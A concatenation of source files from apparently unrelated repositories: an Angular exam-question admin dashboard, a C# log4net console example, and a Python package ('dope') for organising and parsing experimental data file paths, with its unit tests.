this.options2 = this.mcq.options[1];
this.options3 = this.mcq.options[2];
this.options4 = this.mcq.options[3];
this.explanation = this.mcq.explanation;
this.subjectName = this.mcq.subjectName;
this.subjectId = this.mcq.subjectId;
}
}
);
}
updateMcq() {
this.options.push(this.options1);
this.options.push(this.options2);
this.options.push(this.options3);
this.options.push(this.options4);
const c = {
chapterName: this.chapterName,
chapterId: this.chapterId,
mcqsName: this.mcqsName,
solution: this.solution,
question: this.question,
options: this.options,
explanation: this.explanation,
subjectName: this.subjectName,
subjectId: this.subjectId
};
this.apiService.updateMcqs(this.mcqId, c).then(
() => {
this.toaster.success('Mcq updated successfuly..');
this.chapterName = '';
this.mcqsName = '';
this.solution = '';
this.question = '';
this.options1 = '';
this.options2 = '';
this.options3 = '';
this.options4 = '';
this.editMode = false;
this.explanation = '';
this.router.navigate(['/mcqs']);
}
);
}
ngOnInit() {
this.apiService.getChapters().pipe(map(
list => {
return list.map(
items => {
const data = items.payload.doc.data();
const id = items.payload.doc.id;
return { id, ...data };
}
);
}
)).subscribe(res => {
this.chapters = res;
});
}
goBack(){
this.router.navigateByUrl('/mcqs');
}
}
<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { AppComponent } from './app.component';
import { AngularFireModule } from 'angularfire2';
import { AngularFireAuthModule } from 'angularfire2/auth';
import { AngularFirestoreModule } from 'angularfire2/firestore';
import { environment } from 'src/environments/environment';
import { RouterModule } from '@angular/router';
import { SubjectsComponent } from './page/dashboard/subjects/subjects.component';
import { MessagesComponent } from './page/dashboard/messages/messages.component';
import { McqsComponent } from './page/dashboard/mcqs/mcqs.component';
import { ExamsComponent } from './page/dashboard/exams/exams.component';
import { OverviewComponent } from './page/dashboard/overview/overview.component';
import { DashboardComponent } from './page/dashboard/dashboard.component';
import { FontAwesomeModule } from '@fortawesome/angular-fontawesome';
import { CategoryComponent } from './page/dashboard/category/category.component';
import { ChaptersComponent } from './page/dashboard/chapters/chapters.component';
import { SinglemcqComponent } from './page/dashboard/mcqs/singlemcq/singlemcq.component';
import { BulkmcqComponent } from './page/dashboard/mcqs/bulkmcq/bulkmcq.component';
import { McqbulkadditionComponent } from './page/dashboard/mcqs/bulkmcq/mcqbulkaddition/mcqbulkaddition.component';
import { ExaminationsComponent } from './page/dashboard/examinations/examinations.component';
import { EditmcqComponent } from './page/dashboard/mcqs/editmcq/editmcq.component';
import { PurchasesComponent } from './page/dashboard/purchases/purchases.component';
import { StudentComponent } from './page/dashboard/student/student.component';
import { AddstudentComponent } from './page/dashboard/student/addstudent/addstudent.component';
import { ViewstudentComponent } from './page/dashboard/student/viewstudent/viewstudent.component';
import { TransactionsComponent } from './page/dashboard/transactions/transactions.component';
import { CouponsComponent } from './page/dashboard/coupons/coupons.component';
import { StudentdetailsComponent } from './page/dashboard/student/studentdetails/studentdetails.component';
import { LoginComponent } from './page/login/login.component';
import { MocksComponent } from './page/dashboard/mocks/mocks.component';
import { NgxSpinnerModule } from 'ngx-spinner';
import { Routes, CanActivate, CanActivateChild } from '@angular/router';
import { RouteguardService as RouteGuard } from 'src/services/routeguard.service';
import { SelectmcqmockComponent } from './page/dashboard/mcqs/selectmcqmock/selectmcqmock.component';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { ToastrModule } from 'ngx-toastr';
const ROUTES = [
{
path: '',
component: LoginComponent,
pathMatch: 'full'
},
{
path: 'login',
component: LoginComponent
},
{
path: 'dashboard',
canActivate: [RouteGuard],
component: DashboardComponent,
children: [
{
path: '',
redirectTo: 'examination',
pathMatch: 'full'
},
{
path: 'overview',
component: OverviewComponent
},
{
path: 'messages',
component: MessagesComponent
},
{
path: 'examination',
component: ExaminationsComponent
},
{
path: 'exams',
component: ExamsComponent
},
{
path: 'mcqs/:id',
component: McqsComponent
},
{
path: 'subjects',
component: SubjectsComponent
},
{
path: 'mocks',
component: MocksComponent
},
{
path: 'purchases',
component: PurchasesComponent
},
{
path: 'category',
component: CategoryComponent
},
{
path: 'chapters',
component: ChaptersComponent
},
{
path: 'singlemcq/:id',
component: SinglemcqComponent
},
{
path: 'editmcq',
component: EditmcqComponent
},
{
path: 'bulkmcq/:id',
component: BulkmcqComponent
},
{
path: 'mcqmock',
component: SelectmcqmockComponent,
},
{
path: 'mcqbulkaddition',
component: McqbulkadditionComponent
},
{
path: 'student',
component: StudentComponent,
},
{
path: 'addstudent',
component: AddstudentComponent
},
{
path: 'viewstudent',
component: ViewstudentComponent
},
{
path: 'studentdetails',
component: StudentdetailsComponent
},
{
path: 'transactions',
component: TransactionsComponent
},
{
path: 'coupons',
component: CouponsComponent
},
]
}
];
@NgModule({
declarations: [
AppComponent,
SubjectsComponent,
MessagesComponent,
McqsComponent,
ExamsComponent,
OverviewComponent,
DashboardComponent,
CategoryComponent,
ChaptersComponent,
SinglemcqComponent,
BulkmcqComponent,
McqbulkadditionComponent,
ExaminationsComponent,
EditmcqComponent,
PurchasesComponent,
StudentComponent,
AddstudentComponent,
ViewstudentComponent,
TransactionsComponent,
CouponsComponent,
StudentdetailsComponent,
LoginComponent,
MocksComponent,
SelectmcqmockComponent
],
imports: [
BrowserAnimationsModule, // required animations module
ToastrModule.forRoot({ positionClass: 'toast-top-right' }),
NgxSpinnerModule,
BrowserModule,
FormsModule,
ReactiveFormsModule,
FontAwesomeModule,
AngularFireModule.initializeApp(environment.config),
AngularFireAuthModule,
AngularFirestoreModule,
RouterModule.forRoot(ROUTES)
],
providers: [RouteGuard],
bootstrap: [AppComponent]
})
export class AppModule { }
| 1d0cd0f37a8c4f2fc203662087e4fb911b793ee5 | [
"TypeScript",
"HTML"
] | 26 | TypeScript | balajkhan07/mockexamadmin | f7edb2b30263515218547abf8c271aeb19db53ef | 1da5037de7486756dd02b03ff6717efd0945d062 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
[assembly: log4net.Config.XmlConfigurator(Watch = true)]
namespace ConsoleLogging
{
class Program
{
private static readonly log4net.ILog log = LogHelper.GetLogger();//log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);
static void Main(string[] args)
{
log.Debug("This is debug log..");
log.Error("This is error log..");
Console.ReadLine();
}
}
}
| a3bc8e3f6e01a6957f3c1b10011d563276262fc5 | [
"C#"
] | 1 | C# | akumarjha/Log4netTutorial | b2dc0b619b3e8bf76197e418c0863e1de8b34bfc | a5c04e7c69f70575f14b835075f0c5c2bc3e8c68 |
refs/heads/master | <file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import pathlib as _pathlib
from .. import modes as _modes
from ..predicate import Predicate as _Predicate
from ..core import Container as _Container
from ..core import Selector as _Selector
class DataRoot(_Container):
"""a container class representing the data root directory."""
@classmethod
def is_valid_path(cls, path):
"""returns if the specified file path
represents a valid dataroot."""
return False
@classmethod
def compute_path(cls, parentpath, key):
raise NotImplementedError(f"cannot use compute_path() for DataRoot")
@classmethod
def from_parent(cls, parentspec, name):
raise NotImplementedError(f"cannot use from_parent() for DataRoot")
def __init__(self, spec, mode=_modes.READ):
"""spec: pathlike or Predicate"""
if not isinstance(spec, _Predicate):
# assumes path-like object
try:
root = _pathlib.Path(spec)
except TypeError:
raise ValueError(f"DataRoot can only be initialized by a path-like object or a Predicate, not {spec.__class__}")
spec = _Predicate(mode=mode, root=root)
# isinstance(spec, Predicate) == True
self._spec = spec
if (self._spec.mode == _modes.READ) and (not self._spec.root.exists()):
raise FileNotFoundError(f"data-root does not exist: {self._spec.root}")
@property
def path(self):
return self._spec.root
@property
def datasets(self):
from ..dataset import Dataset
return _Selector(self._spec, Dataset)
def __getitem__(self, key):
return self.datasets[key]
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
"""parsing file/directory names."""
import re as _re
import datetime as _datetime
from collections import namedtuple as _namedtuple
SEP = "_"
ParseResult = _namedtuple("ParseResult", ("result", "remaining"))
class ParseError(ValueError):
def __init__(self, msg):
super().__init__(msg)
class Parse(ParseResult):
def __new__(cls, line=None, result=None, remaining=None):
if line is not None:
return super().__new__(cls, {}, line)
else:
return super().__new__(cls, result, remaining)
def parse_single(self, elem):
parsed = elem.parse(self.remaining)
res = dict(**self.result)
res[elem.__name__] = parsed.result
return self.__class__(result=res, remaining=parsed.remaining)
@property
def subject(self):
return self.parse_single(subject)
@property
def session(self):
return self.parse_single(session)
@property
def domain(self):
return self.parse_single(domain)
@property
def filespec(self):
return self.parse_single(filespec)
class element:
NAME_PATTERN = _re.compile(r"[a-zA-Z0-9-]+")
@classmethod
def format_remaining(cls, remaining, sep=SEP):
if len(remaining) == 0:
return None
while remaining.startswith(sep):
remaining = remaining[1:]
return remaining
@classmethod
def parse(cls, fmt):
"""default parsing behavior"""
if not isinstance(fmt, str):
raise ValueError(f"names are expected to be a string, but got {fmt.__class__}")
matched = cls.NAME_PATTERN.match(fmt)
if not matched:
raise ParseError(f"does not match to the name pattern: {fmt}")
result = matched.group(0)
return ParseResult(result, cls.format_remaining(fmt[len(result):]))
class dataset(element):
pass
class subject(element):
pass
class session(element):
NAME_PATTERN = _re.compile(r"([a-zA-Z0-9-]*[a-zA-Z])(\d{4})-(\d{2})-(\d{2})-(\d+)")
TYPE_PATTERN = _re.compile(r"[a-zA-Z0-9-]*[a-zA-Z]$")
DATE_FORMAT = "%Y-%m-%d"
@classmethod
def parse(cls, fmt):
if not isinstance(fmt, str):
raise ValueError(f"session name expected to be a string, but got {fmt.__class__}")
matched = cls.NAME_PATTERN.match(fmt)
if not matched:
raise ParseError(f"does not match to session-name pattern: {fmt}")
result = dict(type=matched.group(1),
date=_datetime.datetime.strptime(f"{matched.group(2)}-{matched.group(3)}-{matched.group(4)}",
cls.DATE_FORMAT),
index=int(matched.group(5)))
remaining = cls.format_remaining(fmt[len(matched.group(0)):])
return ParseResult(result, remaining)
@classmethod
def name(cls, namefmt):
return session.parse(namefmt).result
@classmethod
def type(cls, typefmt):
if typefmt is None:
return None
elif not isinstance(typefmt, str):
raise ValueError(f"session type must be str or None, got {typefmt.__class__}")
if not session.TYPE_PATTERN.match(typefmt):
raise ParseError(f"does not match to session-type pattern: '{typefmt}'")
return typefmt
@classmethod
def date(cls, datefmt):
if datefmt is None:
return None
elif isinstance(datefmt, _datetime.datetime):
return datefmt
try:
return _datetime.datetime.strptime(datefmt, session.DATE_FORMAT)
except ValueError as e:
raise ParseError(f"failed to parse session date: '{datefmt}' ({e})")
@classmethod
def index(cls, indexfmt):
if indexfmt is None:
return None
try:
index = int(indexfmt)
except ValueError as e:
raise ParseError(f"failed to parse session index: '{indexfmt}' ({e})")
if index < 0:
raise ValueError(f"session index cannot be negative, but got '{index}'")
return index
class domain(element):
pass
class filespec(element):
KEYS = ("run", "trial")
INDEX_PATTERN = _re.compile(r"\d+")
CHAN_PATTERN = _re.compile(r"[a-zA-Z0-9]+")
CHAN_SEP = "-"
@classmethod
def keyed_index(cls, fmt, key="run"):
"""reads single keyed index"""
if not fmt.startswith(key):
return ParseResult(None, fmt)
fmt = fmt[len(key):]
indexed = cls.INDEX_PATTERN.match(fmt)
if not indexed:
raise ParseError(f"file name contains '{key}', but is not indexed: {fmt}")
res = indexed.group(0)
# I assume the index cannot happen to be negative
return ParseResult(int(res), cls.format_remaining(fmt[len(res):]))
@classmethod
def channel(cls, fmt):
"""reads single channel"""
matched = cls.CHAN_PATTERN.match(fmt)
if not matched:
if fmt.startswith("."): # suffix seems to start
return ParseResult(None, fmt)
elif len(fmt) is None:
return ParseResult(None, None) # name without a suffix
else:
raise ParseError(f"does not match to the channel pattern: {fmt}")
chan = matched.group(0)
rem = fmt[len(chan):]
if len(rem) == 0:
rem = None
else:
rem = cls.format_remaining(rem, sep=cls.CHAN_SEP)
return ParseResult(chan, rem)
@classmethod
def parse(cls, fmt):
"""default parsing behavior"""
if not isinstance(fmt, str):
raise ValueError(f"names are expected to be a string, but got {fmt.__class__}")
res = dict()
for key in cls.KEYS:
res[key], fmt = cls.keyed_index(fmt, key=key)
channels = []
chan = cls.channel(fmt)
while (chan.result is not None) and (chan.remaining is not None):
channels.append(chan.result)
chan = cls.channel(chan.remaining)
res["channel"] = tuple(channels) if len(channels) > 0 else None
res["suffix"] = chan.remaining
return ParseResult(res, "")
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import collections as _collections
from ..core import SelectionStatus as _SelectionStatus
class FileSpec(_collections.namedtuple("_FileSpec",
("suffix", "trial", "run", "channel")), _SelectionStatus):
DIGITS = 5
def __new__(cls, suffix=None, trial=None, run=None, channel=None):
return super(cls, FileSpec).__new__(cls, suffix=suffix, trial=trial, run=run, channel=channel)
@classmethod
def empty(cls):
return FileSpec(suffix=None, trial=None, run=None, channel=None)
@property
def status(self):
return self.compute_status(None)
def compute_status(self, context=None):
# TODO
if context is None:
unspecified = (((self.trial is None) and (self.run is None)),
self.channel is None,
self.suffix is None)
if all(unspecified):
return self.UNSPECIFIED
elif any(callable(fld) for fld in self):
return self.DYNAMIC
elif any(unspecified):
return self.MULTIPLE
else:
return self.SINGLE
else:
raise NotImplementedError("FileSpec.compute_status()")
def compute_path(self, context):
"""context: Predicate"""
return context.compute_domain_path() / self.format_name(context)
def format_name(self, context, digits=None):
"""context: Predicate"""
runtxt = self.format_run(digits=digits)
chtxt = self.format_channel(context)
sxtxt = self.format_suffix()
return f"{context.subject}_{context.session.name}_{context.domain}{runtxt}{chtxt}{sxtxt}"
def format_run(self, digits=None):
if digits is None:
digits = self.DIGITS
if self.trial is None:
if self.run is None:
return ""
else:
return "_" + str(self.run).zfill(digits)
else:
return "_" + str(self.trial).zfill(digits)
def format_channel(self, context):
if self.channel is None:
return ""
elif isinstance(self.channel, str):
return f"_{self.channel}"
elif iterable(self.channel):
return "_" + "-".join(self.channel)
else:
raise ValueError(f"cannot compute channel from: {self.channel}")
def format_suffix(self):
return self.suffix if self.suffix is not None else ""
def with_values(self, **kwargs):
spec = dict(**kwargs)
for fld in self._fields:
if fld not in spec.keys():
spec[fld] = getattr(self, fld)
return self.__class__(**spec)
def cleared(self):
return self.__class__()
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import pathlib as _pathlib
from .. import modes as _modes
from ..predicate import Predicate as _Predicate
from ..core import Container as _Container
from ..core import Selector as _Selector
def parse_spec_from_path(path):
raise NotImplementedError("dope.datafile.parse_spec_from_path()")
class DataFile(_Container):
"""a container class representing a data file."""
@classmethod
def is_valid_path(cls, path):
"""returns if the specified file path
represents a valid session."""
if path.name.startswith(".") or path.is_dir():
return False
try:
parsed = parse_spec_from_path(path)
return True
except ValueError:
return False
@classmethod
def from_parent(cls, parentspec, key):
raise NotImplementedError("dope.datafile.DataFile.from_parent()")
def __init__(self, spec, mode=None):
"""`spec` may be a path-like object or a Predicate.
by default, dope.modes.READ is selected for `mode`."""
if not isinstance(spec, _Predicate):
# assumes path-like object
try:
path = _pathlib.Path(spec).resolve()
except TypeError:
raise ValueError(f"Subject can only be initialized by a path-like object or a Predicate, not {spec.__class__}")
spec = _Predicate(mode=mode if mode is not None else _modes.READ,
**parse_spec_from_path(path))
else:
# validate and (if needed) modify the Predicate
level = spec.level
mode = spec.mode if mode is None else mode
if level != spec.FILE:
raise ValueError(f"cannot specify a session from the predicate level: '{level}'")
elif spec.mode != mode:
spec = spec.with_values(mode=mode)
self._spec = spec
self._path = spec.path
if (self._spec.mode == _modes.READ) and (not self._path.exists()):
raise FileNotFoundError(f"data file does not exist: {self._path}")
@property
def path(self):
return self._path
@property
def dataset(self):
from ..dataset import Dataset
return Dataset(self._spec.as_dataset())
@property
def subject(path):
from ..subject import Subject
return Subject(self._spec.as_subject())
@property
def session(path):
from ..session import Session
return Session(self._spec.as_session())
@property
def domain(path):
from ..domain import Domain
return Domain(self._spec.as_domain())
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
READ = "r" # reads existing datasets
WRITE = "w" # updates datasets; modifies if they exist; creates them otherwise
APPEND = "a" # appends to existing datasets; raises error in case it attempts to modify existing
DEFAULT = WRITE
def verify(mode):
if mode is None:
return DEFAULT
mode = mode.lower()
if mode not in (READ, WRITE, APPEND):
raise ValueError(f"unknown I/O mode: '{mode}'")
return mode
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
from .. import modes as _modes
class Container: # TODO: better renamed as `Context`?
"""a reference to data based on a specific Predicate."""
_spec = None
@classmethod
def is_valid_path(cls, path):
"""returns if the specified file path
represents a valid file for this container type."""
raise NotImplementedError(f"not implemented: {cls}.is_valid_path()")
@classmethod
def compute_path(cls, parentpath, key):
"""computes a path for a container from the parent path and `key`.
`key` is typically a string, but may be e.g. SessionSpec."""
raise NotImplementedError(f"not implemented: {cls}.compute_child_path()")
@classmethod
def from_parent(cls, parentspec, key):
"""creates a container from the parent spec and `key`.
`key` is typically a string, but may be e.g. SessionSpec."""
raise NotImplementedError(f"not implemented: {cls}.from_path()")
def with_mode(self, mode):
"""changes the I/O mode of this container."""
return self.__class__(self._spec.with_values(mode=mode))
class Selector:
"""an adaptor class used to select from subdirectories."""
def __init__(self, spec, delegate):
self._spec = spec
self._path = spec.path
self._delegate = delegate
def __iter__(self):
if not self._path.exists():
raise FileNotFoundError(f"path does not exist: {parent}")
return tuple(sorted(self._delegate.from_parent(self._spec, path.name) \
for path in self._path.iterdir() \
if self._delegate.is_valid_path(path)))
def __getitem__(self, key):
child = self._delegate.compute_path(self._path, key)
if self._spec.mode == _modes.READ:
if not self._path.exists():
raise FileNotFoundError(f"container path does not exist: {parent}")
if not child.exists():
raise FileNotFoundError(f"item does not exist: {child}")
return self._delegate.from_parent(self._spec, key)
@property
def path(self):
return self._path
class SelectionStatus:
NONE = "none"
UNSPECIFIED = "unspecified"
SINGLE = "single"
MULTIPLE = "multiple"
DYNAMIC = "dynamic"
class DataLevels:
NA = "na"
ROOT = "root"
DATASET = "dataset"
SUBJECT = "subject"
SESSION = "session"
DOMAIN = "domain"
FILE = "file"
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
"""usage: python -m dope.parsing.tests"""
import unittest
from . import *
class ParsingTests(unittest.TestCase):
def assert_function_with_values(self, fun,
passes=[],
fails=[],
errortype=ValueError):
for passobj in passes:
fun(passobj)
for failobj in fails:
with self.assertRaises(errortype):
fun(failobj)
def test_parse_type(self):
self.assert_function_with_values(session.type,
passes=("session", "2p", "no-task", None),
fails=("task2",))
def test_parse_date(self):
import datetime
self.assert_function_with_values(session.date,
passes=("2019-02-26", datetime.datetime.now(), None),
fails=("2019.02.26", "26-02-2019", "2019-26-02"))
def test_parse_index(self):
self.assert_function_with_values(session.index,
passes=(1, "1", "001", None),
fails=("all", -1))
def test_parse_name(self):
self.assert_function_with_values(session.name,
passes=("session2016-01-25-001", "no-task2015-12-31-003",),
fails=(None, "session2016-01-25", "session-2016-01-25-001"))
def test_parser(self):
sub = "K1"
styp = "ane"
sidx = 1
sdat = "2019-11-12"
sess = f"{styp}{sdat}-{sidx:03d}"
dom = "img"
run = 1
suf = ".tif"
chans= ("Green", "Red")
spec = f"run{run:03d}_{'-'.join(chans)}{suf}"
name = f"{sub}_{sess}_{dom}_{spec}"
ps = Parse(name)
self.assertEqual(len(ps.result), 0)
self.assertEqual(ps.remaining, name)
ps = ps.subject
self.assertEqual(ps.result["subject"], sub)
self.assertEqual(len(ps.remaining), len(name) - len(sub) - 1)
ps = ps.session
self.assertEqual(ps.result["session"]["type"], styp)
self.assertEqual(ps.result["session"]["date"].strftime(session.DATE_FORMAT), sdat)
self.assertEqual(ps.result["session"]["index"], sidx)
ps = ps.domain
self.assertEqual(ps.result["domain"], dom)
self.assertEqual(ps.remaining, spec)
ps = ps.filespec
self.assertEqual(ps.result["filespec"]["suffix"], ".tif")
self.assertEqual(ps.result["filespec"]["trial"], None)
self.assertEqual(ps.result["filespec"]["run"], run)
self.assertEqual(set(ps.result["filespec"]["channel"]), set(chans))
if __name__ == "__main__":
unittest.main()
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
"""usage: python -m dope.filespec.tests"""
import unittest
from . import *
class FileSpecTests(unittest.TestCase):
def test_status(self):
obj = FileSpec(trial=None, run=1, channel="V", suffix=".npy")
self.assertEqual(obj.status, obj.SINGLE)
obj = obj.with_values(trial=1, run=None)
self.assertEqual(obj.status, obj.SINGLE)
obj = obj.with_values(trial=None)
self.assertEqual(obj.status, obj.MULTIPLE)
obj = obj.cleared()
self.assertEqual(obj.status, obj.UNSPECIFIED)
<file_sep>#
# MIT License
#
# Copyright (c) 2020 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
import re as _re
import collections as _collections
import datetime as _datetime
from .. import defaults
